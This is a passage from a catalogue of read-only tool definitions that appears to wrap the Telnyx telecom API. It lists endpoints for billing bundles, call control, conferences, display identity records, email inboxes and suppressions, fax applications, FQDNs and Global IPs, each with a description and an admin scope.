/bundle_pricing/billing_bundles/{bundle_id} GET /api/v1/telnyx/bundle_pricing/billing_bundles/{bundle_id}. Scopes: admin. telnyx_get_bundle_pricing_user_bundles (read) — Returns a paginated list of the bundles active on your account, with support for filtering. [User Bundles] via GET /bundle_pricing/user_bundles GET /api/v1/telnyx/bundle_pricing/user_bundles. Scopes: admin. telnyx_get_bundle_pricing_user_bundles_by_user_bundle_id (read) — Returns the details of a single user bundle on your account by its ID. [User Bundles] via GET /bundle_pricing/user_bundles/{user_bundle_id} GET /api/v1/telnyx/bundle_pricing/user_bundles/{user_bundle_id}. Scopes: admin. telnyx_get_bundle_pricing_user_bundles_by_user_bundle_id_resources (read) — Retrieves the resources of a user bundle by its ID. [User Bundles] via GET /bundle_pricing/user_bundles/{user_bundle_id}/resources GET /api/v1/telnyx/bundle_pricing/user_bundles/{user_bundle_id}/resources. Scopes: admin. telnyx_get_bundle_pricing_user_bundles_unused (read) — Returns all user bundles that aren't in use. [User Bundles] via GET /bundle_pricing/user_bundles/unused GET /api/v1/telnyx/bundle_pricing/user_bundles/unused. Scopes: admin. telnyx_get_call_control_applications (read) — Return a list of call control applications. [Call Control Applications] via GET /call_control_applications GET /api/v1/telnyx/call_control_applications. Scopes: admin. telnyx_get_call_control_applications_by_id (read) — Retrieves the details of an existing call control application. [Call Control Applications] via GET /call_control_applications/{id} GET /api/v1/telnyx/call_control_applications/{id}. Scopes: admin. telnyx_get_call_events (read) — Filters call events by given filter parameters. Events are ordered by occurred_at. If filter for leg_id or application_session_id is not present, it only filters events from the last 24 hours. Note: Only one filter[occurred_at] can be passed. [Debugging] via GET /call_events GET /api/v1/telnyx/call_events. Scopes: admin. telnyx_get_call_reasons (read) — Telnyx maintains a library of pre-vetted call-reason phrases (e.g. "Appointment reminders", "Billing inquiries") that carry through DIR vetting smoothly. You can use any string that fits your use case in DirCreateRequest.call_reasons, but matching one of these reduces the chance the vetting team flags the phrasing for clarification. [Reference Data] via GET /call_reasons GET /api/v1/telnyx/call_reasons. Scopes: admin. telnyx_get_calls_by_call_control_id (read) — Returns the status of a call (data is available 10 minutes after call ended). [Call Information] via GET /calls/{call_control_id} GET /api/v1/telnyx/calls/{call_control_id}. Scopes: admin. telnyx_get_channel_zones (read) — Returns the non-US voice channels for your account. voice channels allow you to use Channel Billing for calls to your Telnyx phone numbers. Please check the Telnyx Support Articles section for full information and examples of how to utilize Channel Billing. [Voice Channels] via GET /channel_zones GET /api/v1/telnyx/channel_zones. Scopes: admin. telnyx_get_charges_breakdown (read) — Retrieve a detailed breakdown of monthly charges for phone numbers in a specified date range. The date range cannot exceed 31 days. [Billing] via GET /charges_breakdown GET /api/v1/telnyx/charges_breakdown. Scopes: admin. telnyx_get_charges_summary (read) — Retrieve a summary of monthly charges for a specified date range. The date range cannot exceed 31 days. [Billing] via GET /charges_summary GET /api/v1/telnyx/charges_summary. Scopes: admin. telnyx_get_comments (read) — Returns comments associated with number-order records. Results can be filtered by record type and record ID and include pagination metadata. [Phone Number Orders] via GET /comments GET /api/v1/telnyx/comments. Scopes: admin. telnyx_get_comments_by_id (read) — Returns the comment identified by id, including its associated record and comment metadata. [Phone Number Orders] via GET /comments/{id} GET /api/v1/telnyx/comments/{id}. Scopes: admin. telnyx_get_conferences (read) — Lists conferences. Conferences are created on demand, and will expire after all participants have left the conference or after 4 hours regardless of the number of active participants. Conferences are listed in descending order by expires_at. [Conference Commands] via GET /conferences GET /api/v1/telnyx/conferences. Scopes: admin. telnyx_get_conferences_by_conference_id_participants (read) — Returns a paginated list of participants in the specified conference, with support for filtering. [Conference Commands] via GET /conferences/{conference_id}/participants GET /api/v1/telnyx/conferences/{conference_id}/participants. Scopes: admin. telnyx_get_conferences_by_id (read) — Returns the details of an existing conference, including its current status. [Conference Commands] via GET /conferences/{id} GET /api/v1/telnyx/conferences/{id}. Scopes: admin. telnyx_get_conferences_by_id_participants_by_participant_id (read) — Retrieve details of a specific conference participant by their ID or label. [Conference Commands] via GET /conferences/{id}/participants/{participant_id} GET /api/v1/telnyx/conferences/{id}/participants/{participant_id}. Scopes: admin. telnyx_get_connections (read) — Returns a list of your connections irrespective of type. [Connections] via GET /connections GET /api/v1/telnyx/connections. Scopes: admin. telnyx_get_connections_by_connection_id_active_calls (read) — Lists all active calls for given connection. Acceptable connections are either SIP connections with webhook_url or xml_request_url, call control or texml. Returned results are cursor paginated. [Call Information] via GET /connections/{connection_id}/active_calls GET /api/v1/telnyx/connections/{telnyx_connection_id}/active_calls. Scopes: admin. telnyx_get_connections_by_id (read) — Retrieves the high-level details of an existing connection. To retrieve specific authentication information, use the endpoint for the specific connection type. [Connections] via GET /connections/{id} GET /api/v1/telnyx/connections/{id}. Scopes: admin. telnyx_get_country_coverage (read) — Returns Telnyx service coverage information for every country, including which number types and features are available in each. [Country Coverage] via GET /country_coverage GET /api/v1/telnyx/country_coverage. Scopes: admin. telnyx_get_country_coverage_countries_by_country_code (read) — Returns Telnyx service coverage information for the specified country, including available number types and features. [Country Coverage] via GET /country_coverage/countries/{country_code} GET /api/v1/telnyx/country_coverage/countries/{country_code}. Scopes: admin. telnyx_get_credential_connections (read) — Returns a list of your credential connections. [Credential Connections] via GET /credential_connections GET /api/v1/telnyx/credential_connections. Scopes: admin. telnyx_get_credential_connections_by_id (read) — Retrieves the details of an existing credential connection. [Credential Connections] via GET /credential_connections/{id} GET /api/v1/telnyx/credential_connections/{id}. Scopes: admin. telnyx_get_custom_storage_credentials_by_connection_id (read) — Returns the information about custom storage credentials. [Call Recordings] via GET /custom_storage_credentials/{connection_id} GET /api/v1/telnyx/custom_storage_credentials/{telnyx_connection_id}. Scopes: admin. telnyx_get_customer_service_records (read) — Returns a paginated list of your customer service record (CSR) requests, with support for filtering and sorting. [Customer Service Record] via GET /customer_service_records GET /api/v1/telnyx/customer_service_records. Scopes: admin. telnyx_get_customer_service_records_by_customer_service_record_id (read) — Returns the details of a single customer service record (CSR) request, including its status and any retrieved record data. [Customer Service Record] via GET /customer_service_records/{customer_service_record_id} GET /api/v1/telnyx/customer_service_records/{customer_service_record_id}. Scopes: admin. telnyx_get_detail_records (read) — Search for any detail record across the Telnyx Platform [Detail Records] via GET /detail_records GET /api/v1/telnyx/detail_records. Scopes: admin. telnyx_get_dialogflow_connections_by_connection_id (read) — Return details of the Dialogflow connection associated with the given CallControl connection. [Dialogflow Integration] via GET /dialogflow_connections/{connection_id} GET /api/v1/telnyx/dialogflow_connections/{telnyx_connection_id}. Scopes: admin. telnyx_get_dir (read) — Returns every DIR (Display Identity Record) you own, across all of your enterprises, as a single list. Pagination is JSON:API style (page[number], page[size], max 250). Supports filter[] query params: filter[enterprise_id], filter[status], filter[display_name][contains], filter[call_reason][contains], plus the renewal-window filters filter[expiring_at][gte] / filter[expiring_at][lte]. Sortable by created_at, updated_at, display_name, status (prefix - for descending; default -created_at). [Display Identity Records] via GET /dir GET /api/v1/telnyx/dir. Scopes: admin. telnyx_get_dir_by_dir_id (read) — Returns a single DIR by id. The enterprise is resolved server-side from the DIR id. Returns 404 if the DIR does not exist or is not yours. [Display Identity Records] via GET /dir/{dir_id} GET /api/v1/telnyx/dir/{dir_id}. Scopes: admin. telnyx_get_dir_by_dir_id_comments (read) — List the comments on a DIR. The enterprise is resolved server-side from the DIR id. [Comments] via GET /dir/{dir_id}/comments GET /api/v1/telnyx/dir/{dir_id}/comments. Scopes: admin. telnyx_get_dir_by_dir_id_infringement_claims (read) — Return the trademark or copyright claims filed against this DIR. Each claim's status is pending (newly filed; DIR auto-suspended), contested (you have submitted contest evidence; awaiting resolution), or resolved (final). Resolution outcomes: upheld (claim accepted; DIR stays suspended/permanently_rejected), rejected (claim dismissed; DIR restored to verified), modified (partial outcome). [Infringement Claims] via GET /dir/{dir_id}/infringement_claims GET /api/v1/telnyx/dir/{dir_id}/infringement_claims. Scopes: admin. telnyx_get_dir_by_dir_id_phone_number_batches (read) — List the phone-number batches submitted under a DIR. The enterprise is resolved server-side from the DIR id. [Phone Number Batches] via GET /dir/{dir_id}/phone_number_batches GET /api/v1/telnyx/dir/{dir_id}/phone_number_batches. Scopes: admin. telnyx_get_dir_by_dir_id_phone_number_batches_by_batch_id (read) — Get a single phone-number batch by id. The enterprise is resolved server-side from the DIR id. [Phone Number Batches] via GET /dir/{dir_id}/phone_number_batches/{batch_id} GET /api/v1/telnyx/dir/{dir_id}/phone_number_batches/{batch_id}. Scopes: admin. telnyx_get_dir_by_dir_id_phone_numbers (read) — List the phone numbers registered under a DIR. The enterprise is resolved server-side from the DIR id. [Phone Numbers] via GET /dir/{dir_id}/phone_numbers GET /api/v1/telnyx/dir/{dir_id}/phone_numbers. Scopes: admin. telnyx_get_dir_by_dir_id_references (read) — List the business and financial references submitted for a DIR. Returns the two business references (slots 1 and 2) followed by the single financial reference. Each entry carries its ref_type and slot, which together address the reference when updating it, alongside the details supplied when it was submitted (name, title, organization, relationship, phone, email, timezone). No internal identifiers are exposed. Returns an empty list when no references were submitted. [DIR References] via GET /dir/{dir_id}/references GET /api/v1/telnyx/dir/{dir_id}/references. Scopes: admin. telnyx_get_dir_by_dir_id_verify_email (read) — Whether the DIR's current authorizer email has been verified. [Email Verification] via GET /dir/{dir_id}/verify_email GET /api/v1/telnyx/dir/{dir_id}/verify_email. Scopes: admin. telnyx_get_dir_document_types (read) — Reference list of document_type values accepted by DirCreateRequest.documents[].document_type and the infringement-contest endpoint. Each entry has a stable short_name (used in API calls) and a customer-facing description. [Reference Data] via GET /dir/document_types GET /api/v1/telnyx/dir/document_types. Scopes: admin. telnyx_get_document_links (read) — List all documents links ordered by created_at descending. [Documents] via GET /document_links GET /api/v1/telnyx/document_links. Scopes: admin. telnyx_get_documents (read) — List all documents ordered by created_at descending. [Documents] via GET /documents GET /api/v1/telnyx/documents. Scopes: admin. telnyx_get_documents_by_id (read) — Returns the details of a single document on your account, including its metadata. [Documents] via GET /documents/{id} GET /api/v1/telnyx/documents/{id}. Scopes: admin. telnyx_get_documents_by_id_download_link (read) — Generates a temporary pre-signed URL that can be used to download the document directly from the storage backend without authentication. [Documents] via GET /documents/{id}/download_link GET /api/v1/telnyx/documents/{id}/download_link. Scopes: admin. telnyx_get_dynamic_emergency_addresses (read) — Returns the dynamic emergency addresses according to filters [Dynamic Emergency Addresses] via GET /dynamic_emergency_addresses GET /api/v1/telnyx/dynamic_emergency_addresses. Scopes: admin. telnyx_get_dynamic_emergency_addresses_by_id (read) — Returns the dynamic emergency address based on the ID provided [Dynamic Emergency Addresses] via GET /dynamic_emergency_addresses/{id} GET /api/v1/telnyx/dynamic_emergency_addresses/{id}. Scopes: admin. telnyx_get_dynamic_emergency_endpoints (read) — Returns the dynamic emergency endpoints according to filters [Dynamic Emergency Endpoints] via GET /dynamic_emergency_endpoints GET /api/v1/telnyx/dynamic_emergency_endpoints. Scopes: admin. telnyx_get_dynamic_emergency_endpoints_by_id (read) — Returns the dynamic emergency endpoint based on the ID provided [Dynamic Emergency Endpoints] via GET /dynamic_emergency_endpoints/{id} GET /api/v1/telnyx/dynamic_emergency_endpoints/{id}. Scopes: admin. telnyx_get_email_blocks (read) — Account-scoped list. Two mutually exclusive pagination modes: - Offset: page[number] (default 1) + page[size] (default 25, max 100). meta contains total_pages. - Cursor: page[after] and/or page[before] (opaque Base.url_encode64 of {"created_at","id"}). Cannot combine with page[number]; after+before together is an error. meta contains next_cursor / previous_cursor (omitted when their flag is false). Sort defaults to -created_at (desc); only created_at is sortable. A -- prefix is an error. nil/empty filter values are silently dropped. [Email Suppressions] via GET /email_blocks GET /api/v1/telnyx/email_blocks. Scopes: admin. telnyx_get_email_blocks_by_id (read) — Returns the account-owned suppression identified by ID. Cross-account lookups and malformed IDs return 404 without exposing another account’s data. [Email Suppressions] via GET /email_blocks/{id} GET /api/v1/telnyx/email_blocks/{id}. Scopes: admin. telnyx_get_email_blocks_by_id_events (read) — Offset pagination only (page[number] default 1, page[size] default 50, max 100). No sort, no filter, no cursor — ordering is fixed desc occurred_at, desc id. Verifies the block belongs to the account first (cross-account → 404). [Email Suppressions] via GET /email_blocks/{id}/events GET /api/v1/telnyx/email_blocks/{id}/events. Scopes: admin. telnyx_get_email_blocks_export (read) — Streams the account's suppressions as a chunked CSV (server-side cursor; never materialized). Content-type text/csv, header Content-Disposition: attachment; filename="email_blocks_export.csv". Filters (filter[reason], filter[domain_id], filter[created_after], filter[created_before]) are the only params that affect output. sort and page[*] are parsed (bad values still produce 400) but ignored — rows stream ORDER BY created_at ASC, id ASC with no pagination. CSV columns: id,to,from,reason,source,scope,status,domain_id, created_at,updated_at,expires_at,group_id. The CSV carries the group_id column so group-scoped suppressions' group link survives the export (empty for account-scope rows). [Email Suppressions] via GET /email_blocks/export GET /api/v1/telnyx/email_blocks/export. Scopes: admin. telnyx_get_email_blocks_import_by_id (read) — Account-scoped fetch (cross-account → 404; malformed UUID → 404). Nullable fields are omitted until terminal: provider/completed_at when nil; processed_rows/created_count/existing_count/ skipped_count/error_count only when status == completed; errors only when non-empty; failure_reason only on terminal failure. [Email Suppression Imports] via GET /email_blocks/import/{id} GET /api/v1/telnyx/email_blocks/import/{id}. Scopes: admin. telnyx_get_email_domains (read) — Shared (type: shared) Telnyx-managed domains are included/readable for every account, in addition to the account's own custom domains. [Email Domains] via GET /email_domains GET /api/v1/telnyx/email_domains. Scopes: admin. telnyx_get_email_domains_by_domain_id_dns_records (read) — Returns the DNS records Telnyx generated for domain ownership and DKIM verification, plus MX records when inbound delivery is enabled. [Email Domain DNS Records] via GET /email_domains/{domain_id}/dns_records GET /api/v1/telnyx/email_domains/{domain_id}/dns_records. Scopes: admin. telnyx_get_email_domains_by_domain_id_webhooks (read) — Returns a paginated list of webhook subscriptions scoped to the email domain. Results can be sorted by creation time. [Email Webhooks] via GET /email_domains/{domain_id}/webhooks GET /api/v1/telnyx/email_domains/{domain_id}/webhooks. Scopes: admin. telnyx_get_email_domains_by_domain_id_webhooks_by_id (read) — Returns the webhook subscription identified by ID within the specified email domain. [Email Webhooks] via GET /email_domains/{domain_id}/webhooks/{id} GET /api/v1/telnyx/email_domains/{domain_id}/webhooks/{id}. Scopes: admin. telnyx_get_email_domains_by_id (read) — Shared (type: shared) Telnyx-managed domains are included/readable for every account, in addition to the account's own custom domains. [Email Domains] via GET /email_domains/{id} GET /api/v1/telnyx/email_domains/{id}. Scopes: admin. telnyx_get_email_domains_by_id_health (read) — Returns a summary of domain health including verification status and usability. [Email Domains] via GET /email_domains/{id}/health GET /api/v1/telnyx/email_domains/{id}/health. Scopes: admin. telnyx_get_email_events (read) — Lists account-level email events sorted oldest first by occurred_at asc, id asc. [Email Events] via GET /email_events GET /api/v1/telnyx/email_events. Scopes: admin. telnyx_get_email_events_stats (read) — Returns counts and rates for email events over a time range. The default start time is 30 days ago. [Email Events] via GET /email_events/stats GET /api/v1/telnyx/email_events/stats. Scopes: admin. telnyx_get_email_inboxes (read) — Lists the account's non-deleted inboxes newest first using stable cursor pagination. [Email Inboxes] via GET /email_inboxes GET /api/v1/telnyx/email_inboxes. Scopes: admin. telnyx_get_email_inboxes_by_id (read) — Returns an account-scoped, non-deleted inbox. Missing and foreign inboxes are indistinguishable. [Email Inboxes] via GET /email_inboxes/{id} GET /api/v1/telnyx/email_inboxes/{id}. Scopes: admin. telnyx_get_email_inboxes_by_inbox_id_drafts (read) — Lists drafts newest first using stable cursor pagination. All access is scoped to the authenticated account and the given inbox. [Email Drafts] via GET /email_inboxes/{inbox_id}/drafts GET /api/v1/telnyx/email_inboxes/{inbox_id}/drafts. Scopes: admin. telnyx_get_email_inboxes_by_inbox_id_drafts_by_draft_id (read) — Returns a single draft. Drafts that have been sent remain retrievable, so the exact content that was sent stays auditable. [Email Drafts] via GET /email_inboxes/{inbox_id}/drafts/{draft_id} GET /api/v1/telnyx/email_inboxes/{inbox_id}/drafts/{draft_id}. Scopes: admin. telnyx_get_email_inboxes_by_inbox_id_filters (read) — Returns the inbox's sender allowlist and blocklist. Entries are normalized to lowercase. A blocklist match takes precedence over an allowlist match; when both lists are empty, all senders are accepted. [Email Inboxes] via GET /email_inboxes/{inbox_id}/filters GET /api/v1/telnyx/email_inboxes/{inbox_id}/filters. Scopes: admin. telnyx_get_email_inboxes_by_inbox_id_messages (read) — Lists inbound messages newest first. All access is scoped to the authenticated account. filter[search] performs PostgreSQL full-text search over the subject, plain-text body, and HTML body. Filters compose with stable cursor pagination. [Email Inboxes] via GET /email_inboxes/{inbox_id}/messages GET /api/v1/telnyx/email_inboxes/{inbox_id}/messages. Scopes: admin. telnyx_get_email_inboxes_by_inbox_id_threads (read) — Lists thread summaries newest first using stable cursor pagination. [Email Inboxes] via GET /email_inboxes/{inbox_id}/threads GET /api/v1/telnyx/email_inboxes/{inbox_id}/threads. Scopes: admin. telnyx_get_email_inboxes_by_inbox_id_threads_by_thread_id (read) — Returns a bounded page of inbound and outbound thread messages interleaved in chronological order using stable cursor pagination. [Email Inboxes] via GET /email_inboxes/{inbox_id}/threads/{thread_id} GET /api/v1/telnyx/email_inboxes/{inbox_id}/threads/{thread_id}. Scopes: admin. telnyx_get_email_messages (read) — Lists messages sorted newest first by created_at desc, id desc. No filters other than cursor pagination are implemented. The legacy /v2/emails GET route is a backward-compatible alias for this operation. [Email Messages] via GET /email_messages GET /api/v1/telnyx/email_messages. Scopes: admin. telnyx_get_email_messages_by_email_id_events (read) — Lists events for a single message sorted oldest first by occurred_at asc, id asc. The legacy /v2/emails/{id}/events GET route is a backward-compatible alias. [Email Messages] via GET /email_messages/{email_id}/events GET /api/v1/telnyx/email_messages/{email_id}/events. Scopes: admin. telnyx_get_email_messages_by_email_id_recipients (read) — Lists per-recipient delivery states for a single message with cursor pagination. Each recipient has an independent status, billable flag, and lifecycle timestamps. BCC recipient addresses are redacted (returned as null) to protect BCC privacy. Default page size is 25, maximum is 100. [Email Messages] via GET /email_messages/{email_id}/recipients GET /api/v1/telnyx/email_messages/{email_id}/recipients. Scopes: admin. telnyx_get_email_messages_by_email_id_recipients_by_recipient_id (read) — Returns the current delivery state of a single recipient, including status, billable flag, SMTP detail, and lifecycle timestamps. BCC recipient addresses are redacted (returned as null). [Email Messages] via GET /email_messages/{email_id}/recipients/{recipient_id} GET /api/v1/telnyx/email_messages/{email_id}/recipients/{recipient_id}. Scopes: admin. telnyx_get_email_messages_by_id (read) — The legacy /v2/emails/{id} GET route is a backward-compatible alias for this operation. [Email Messages] via GET /email_messages/{id} GET /api/v1/telnyx/email_messages/{id}. Scopes: admin. telnyx_get_email_templates (read) — Lists templates sorted newest first by created_at desc, id desc. [Email Templates] via GET /email_templates GET /api/v1/telnyx/email_templates. Scopes: admin. telnyx_get_email_templates_by_id (read) — Returns the account-owned template identified by ID, including its Liquid subject and bodies, declared variables, and timestamps. [Email Templates] via GET /email_templates/{id} GET /api/v1/telnyx/email_templates/{id}. Scopes: admin. telnyx_get_email_threads (read) — Lists thread summaries for the whole account, newest first, using stable cursor pagination. An agent operating many inboxes gets every conversation in one call instead of one call per inbox. Each thread carries its own inbox_id so a reply can be routed back to the right inbox. Use filter[inbox_id] (repeatable) to narrow the result to specific inboxes. Because a thread ID can be delivered to multiple inboxes, each result is identified by its (inbox_id, id) pair. [Email Threads] via GET /email_threads GET /api/v1/telnyx/email_threads. Scopes: admin. telnyx_get_email_threads_by_thread_id (read) — Returns a thread and a bounded page of its inbound and outbound messages, interleaved in chronological order. The inbox_id returned by the list endpoint is required because a thread ID can occur in multiple inboxes. Only messages matching that (inbox_id, thread_id) pair are returned. Threads outside the account return an opaque 404. [Email Threads] via GET /email_threads/{thread_id} GET /api/v1/telnyx/email_threads/{thread_id}. Scopes: admin. telnyx_get_email_unsubscribe_groups (read) — Offset pagination only (page[number] default 1, page[size] default 25, max 100). No sort/filter/cursor — ordering fixed desc created_at, desc id. Uses the shared QueryParser.parse_offset/1 — a malformed page (e.g. flat ?page=1 instead of ?page[number]=1) returns 400 (code 10015), consistent with GET /v2/email_blocks. meta includes total_pages. [Email Unsubscribe Groups] via GET /email_unsubscribe_groups GET /api/v1/telnyx/email_unsubscribe_groups. Scopes: admin. telnyx_get_email_unsubscribe_groups_by_id (read) — Returns the account-owned unsubscribe group identified by ID. [Email Unsubscribe Groups] via GET /email_unsubscribe_groups/{id} GET /api/v1/telnyx/email_unsubscribe_groups/{id}. Scopes: admin. telnyx_get_email_unsubscribe_groups_by_id_suppressions (read) — Account + group scoped. Offset pagination only (page[number] default 1, page[size] default 25, max 100). No sort/filter/ cursor — ordering fixed desc created_at, desc id. Uses the shared QueryParser.parse_offset/1 — a malformed page returns 400 (code 10015), consistent with GET /v2/email_blocks. meta includes total_pages. Rows reuse the standard suppression shape (group_id set to this group). [Email Unsubscribe Groups] via GET /email_unsubscribe_groups/{id}/suppressions GET /api/v1/telnyx/email_unsubscribe_groups/{id}/suppressions. Scopes: admin. telnyx_get_email_validations_batch_by_id (read) — Retrieves the current status and, once completed, validation results for a batch job. [Email Validations] via GET /email_validations/batch/{id} GET /api/v1/telnyx/email_validations/batch/{id}. Scopes: admin. telnyx_get_enterprises (read) — Return the enterprises you own, paginated. The default page size is 20; the maximum is 250. [Enterprises] via GET /enterprises GET /api/v1/telnyx/enterprises. Scopes: admin. telnyx_get_enterprises_by_enterprise_id (read) — Retrieve a single enterprise by id. Returns 404 if the id does not exist or does not belong to your account. [Enterprises] via GET /enterprises/{enterprise_id} GET /api/v1/telnyx/enterprises/{enterprise_id}. Scopes: admin. telnyx_get_enterprises_by_enterprise_id_dir (read) — Return the DIRs (Display Identity Records) belonging to a single enterprise. Pagination is JSON:API style (page[number], page[size], max 250). Supports filter[] query params: filter[status], filter[display_name][contains], filter[call_reason][contains], plus the renewal-window filters filter[expiring_at][gte] / filter[expiring_at][lte] and the convenience filter[expiring_within_days] (mutually exclusive with the explicit gte/lte form). Sortable by created_at, updated_at, display_name, status, submitted_at, verified_at, expiring_at (prefix - for descending; default -created_at). [Display Identity Records] via GET /enterprises/{enterprise_id}/dir GET /api/v1/telnyx/enterprises/{enterprise_id}/dir. Scopes: admin. telnyx_get_enterprises_by_enterprise_id_reputation (read) — Phone Number Reputation tracks how your outbound caller-IDs are perceived (spam risk, engagement, etc.) across the call-screening ecosystem. This endpoint reads the enterprise-level settings: whether the product is enabled, the refresh cadence, and the stored Letter of Authorization document id. Returns 404 if reputation has never been enabled for this enterprise. [Reputation] via GET /enterprises/{enterprise_id}/reputation GET /api/v1/telnyx/enterprises/{enterprise_id}/reputation. Scopes: admin. telnyx_get_enterprises_by_enterprise_id_reputation_numbers (read) — Paginated list of phone numbers registered for reputation monitoring under this enterprise. The response includes the latest reputation snapshot per number where one has been collected. [Reputation] via GET /enterprises/{enterprise_id}/reputation/numbers GET /api/v1/telnyx/enterprises/{enterprise_id}/reputation/numbers. Scopes: admin. telnyx_get_enterprises_by_enterprise_id_reputation_numbers_by_phone_number (read) — Retrieve one registered number with its latest reputation snapshot. The phone_number path parameter is in E.164 format and must be URL-encoded (e.g. %2B19493253498). [Reputation] via GET /enterprises/{enterprise_id}/reputation/numbers/{phone_number} GET /api/v1/telnyx/enterprises/{enterprise_id}/reputation/numbers/{phone_number}. Scopes: admin. telnyx_get_enterprises_by_enterprise_id_reputation_remediation (read) — Paginated list of remediation requests for this enterprise. List items omit per-number results and webhook URLs to keep the response small; call GET by id for full detail. Supports JSON:API pagination and optional filters on status and created-at range. [Reputation] via GET /enterprises/{enterprise_id}/reputation/remediation GET /api/v1/telnyx/enterprises/{enterprise_id}/reputation/remediation. Scopes: admin. telnyx_get_enterprises_by_enterprise_id_reputation_remediation_by_remediation_id (read) — Retrieve the full detail of a remediation request, including current status, per-number results (once available), and submission metadata. [Reputation] via GET /enterprises/{enterprise_id}/reputation/remediation/{remediation_id} GET /api/v1/telnyx/enterprises/{enterprise_id}/reputation/remediation/{remediation_id}. Scopes: admin. telnyx_get_external_connections (read) — This endpoint returns a list of your External Connections inside the 'data' attribute of the response. External Connections are used by Telnyx customers to seamless configure SIP trunking integrations with Telnyx Partners, through External Voice Integrations in Mission Control Portal. [External Connections] via GET /external_connections GET /api/v1/telnyx/external_connections. Scopes: admin. telnyx_get_external_connections_by_id (read) — Return the details of an existing External Connection inside the 'data' attribute of the response. [External Connections] via GET /external_connections/{id} GET /api/v1/telnyx/external_connections/{id}. Scopes: admin. telnyx_get_external_connections_by_id_civic_addresses (read) — Returns the civic addresses and locations from Microsoft Teams. [External Connections] via GET /external_connections/{id}/civic_addresses GET /api/v1/telnyx/external_connections/{id}/civic_addresses. Scopes: admin. telnyx_get_external_connections_by_id_civic_addresses_by_address_id (read) — Return the details of an existing Civic Address with its Locations inside the 'data' attribute of the response. [External Connections] via GET /external_connections/{id}/civic_addresses/{address_id} GET /api/v1/telnyx/external_connections/{id}/civic_addresses/{address_id}. Scopes: admin. telnyx_get_external_connections_by_id_phone_numbers (read) — Returns a list of all active phone numbers associated with the given external connection. [External Connections] via GET /external_connections/{id}/phone_numbers GET /api/v1/telnyx/external_connections/{id}/phone_numbers. Scopes: admin. telnyx_get_external_connections_by_id_phone_numbers_by_phone_number_id (read) — Return the details of a phone number associated with the given external connection. [External Connections] via GET /external_connections/{id}/phone_numbers/{phone_number_id} GET /api/v1/telnyx/external_connections/{id}/phone_numbers/{phone_number_id}. Scopes: admin. telnyx_get_external_connections_by_id_releases (read) — Returns a list of your Releases for the given external connection. These are automatically created when you change the connection_id of a phone number that is currently on Microsoft Teams. [External Connections] via GET /external_connections/{id}/releases GET /api/v1/telnyx/external_connections/{id}/releases. Scopes: admin. telnyx_get_external_connections_by_id_releases_by_release_id (read) — Return the details of a Release request and its phone numbers. [External Connections] via GET /external_connections/{id}/releases/{release_id} GET /api/v1/telnyx/external_connections/{id}/releases/{release_id}. Scopes: admin. telnyx_get_external_connections_by_id_uploads (read) — Returns a list of your Upload requests for the given external connection. [External Connections] via GET /external_connections/{id}/uploads GET /api/v1/telnyx/external_connections/{id}/uploads. Scopes: admin. telnyx_get_external_connections_by_id_uploads_by_ticket_id (read) — Return the details of an Upload request and its phone numbers. [External Connections] via GET /external_connections/{id}/uploads/{ticket_id} GET /api/v1/telnyx/external_connections/{id}/uploads/{ticket_id}. Scopes: admin. telnyx_get_external_connections_by_id_uploads_status (read) — Returns the count of all pending upload requests for the given external connection. [External Connections] via GET /external_connections/{id}/uploads/status GET /api/v1/telnyx/external_connections/{id}/uploads/status. Scopes: admin. telnyx_get_external_connections_log_messages (read) — Retrieve a list of log messages for all external connections associated with your account. [External Connections] via GET /external_connections/log_messages GET /api/v1/telnyx/external_connections/log_messages. Scopes: admin. telnyx_get_external_connections_log_messages_by_id (read) — Retrieve a log message for an external connection associated with your account. [External Connections] via GET /external_connections/log_messages/{id} GET /api/v1/telnyx/external_connections/log_messages/{id}. Scopes: admin. telnyx_get_fax_applications (read) — This endpoint returns a list of your Fax Applications inside the 'data' attribute of the response. You can adjust which applications are listed by using filters. Fax Applications are used to configure how you send and receive faxes using the Programmable Fax API with Telnyx. [Programmable Fax Applications] via GET /fax_applications GET /api/v1/telnyx/fax_applications. Scopes: admin. telnyx_get_fax_applications_by_id (read) — Return the details of an existing Fax Application inside the 'data' attribute of the response. [Programmable Fax Applications] via GET /fax_applications/{id} GET /api/v1/telnyx/fax_applications/{id}. Scopes: admin. telnyx_get_faxes (read) — Retrieve a paginated list of faxes sent or received on your account. [Programmable Fax Commands] via GET /faxes GET /api/v1/telnyx/faxes. Scopes: admin. telnyx_get_faxes_by_id (read) — Returns the details of a single fax, including its current status. [Programmable Fax Commands] via GET /faxes/{id} GET /api/v1/telnyx/faxes/{id}. Scopes: admin. telnyx_get_fqdn_connections (read) — Returns a list of your FQDN connections. [FQDN Connections] via GET /fqdn_connections GET /api/v1/telnyx/fqdn_connections. Scopes: admin. telnyx_get_fqdn_connections_by_fqdn_connection_id_fqdn_authentication (read) — Retrieves the details of an existing FQDN authentication strategy for a specific FQDN connection. [FQDN Connections] via GET /fqdn_connections/{fqdn_connection_id}/fqdn_authentication GET /api/v1/telnyx/fqdn_connections/{fqdn_connection_id}/fqdn_authentication. Scopes: admin. telnyx_get_fqdn_connections_by_id (read) — Retrieves the details of an existing FQDN connection. [FQDN Connections] via GET /fqdn_connections/{id} GET /api/v1/telnyx/fqdn_connections/{id}. Scopes: admin. telnyx_get_fqdns (read) — Get all FQDNs belonging to the user that match the given filters. [FQDNs] via GET /fqdns GET /api/v1/telnyx/fqdns. Scopes: admin. telnyx_get_fqdns_by_id (read) — Return the details regarding a specific FQDN. [FQDNs] via GET /fqdns/{id} GET /api/v1/telnyx/fqdns/{id}. Scopes: admin. telnyx_get_global_ip_allowed_ports (read) — Returns the ports allowed for Global IP traffic, for use when configuring Global IP resources. [Global IPs] via GET /global_ip_allowed_ports GET /api/v1/telnyx/global_ip_allowed_ports. Scopes: admin. telnyx_get_global_ip_assignment_health (read) — Retrieve health check metrics for your Global IP assignments. [Global IPs] via GET /global_ip_assignment_health GET /api/v1/telnyx/global_ip_assignment_health. Scopes: admin. telnyx_get_global_ip_assignments (read) — Returns a paginated list of your Global IP assignments, the links between Global IPs and the WireGuard peers that receive their traffic. [Global IPs] via GET /global_ip_assignments GET /api/v1/telnyx/global_ip_assignments. Scopes: admin. telnyx_get_global_ip_assignments_by_id (read) — Returns the details of a single Global IP assignment, including the Global IP and WireGuard peer it links. [Global IPs] via GET /global_ip_assignments/{id} GET /api/v1/telnyx/global_ip_assignments/{id}. Scopes: admin. telnyx_get_global_ip_assignments_usage (read) — Retrieve usage metrics for your Global IP assignments. [Global IPs] via GET /global_ip_assignments_usage GET /api/v1/telnyx/global_ip_assignments_usage. Scopes: admin. telnyx_get_global_ip_health_check_types (read) — Returns the health check types available for Global IPs, for use 